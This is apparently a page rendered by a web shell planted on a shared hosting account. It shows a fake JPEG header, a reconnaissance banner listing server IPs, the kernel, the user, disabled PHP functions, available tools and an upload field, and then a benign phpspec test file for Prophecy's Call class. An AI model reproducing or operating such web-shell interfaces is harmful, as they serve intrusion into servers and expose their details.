ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.224.65.90 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnAdmin/vendor/phpspec/prophecy/spec/Prophecy/Call/ |
Upload File : |
<?php namespace spec\Prophecy\Call; use PhpSpec\ObjectBehavior; class CallSpec extends ObjectBehavior { function let(\Exception $exception) { $this->beConstructedWith('setValues', array(5, 2), 42, $exception, 'some_file.php', 23); } function it_exposes_method_name_through_getter() { $this->getMethodName()->shouldReturn('setValues'); } function it_exposes_arguments_through_getter() { $this->getArguments()->shouldReturn(array(5, 2)); } function it_exposes_return_value_through_getter() { $this->getReturnValue()->shouldReturn(42); } function it_exposes_exception_through_getter($exception) { $this->getException()->shouldReturn($exception); } function it_exposes_file_and_line_through_getter() { $this->getFile()->shouldReturn('some_file.php'); $this->getLine()->shouldReturn(23); } function it_returns_shortpath_to_callPlace() { $this->getCallPlace()->shouldReturn('some_file.php:23'); } function it_returns_unknown_as_callPlace_if_no_file_or_line_provided() { $this->beConstructedWith('setValues', array(), 0, null, null, null); $this->getCallPlace()->shouldReturn('unknown'); } }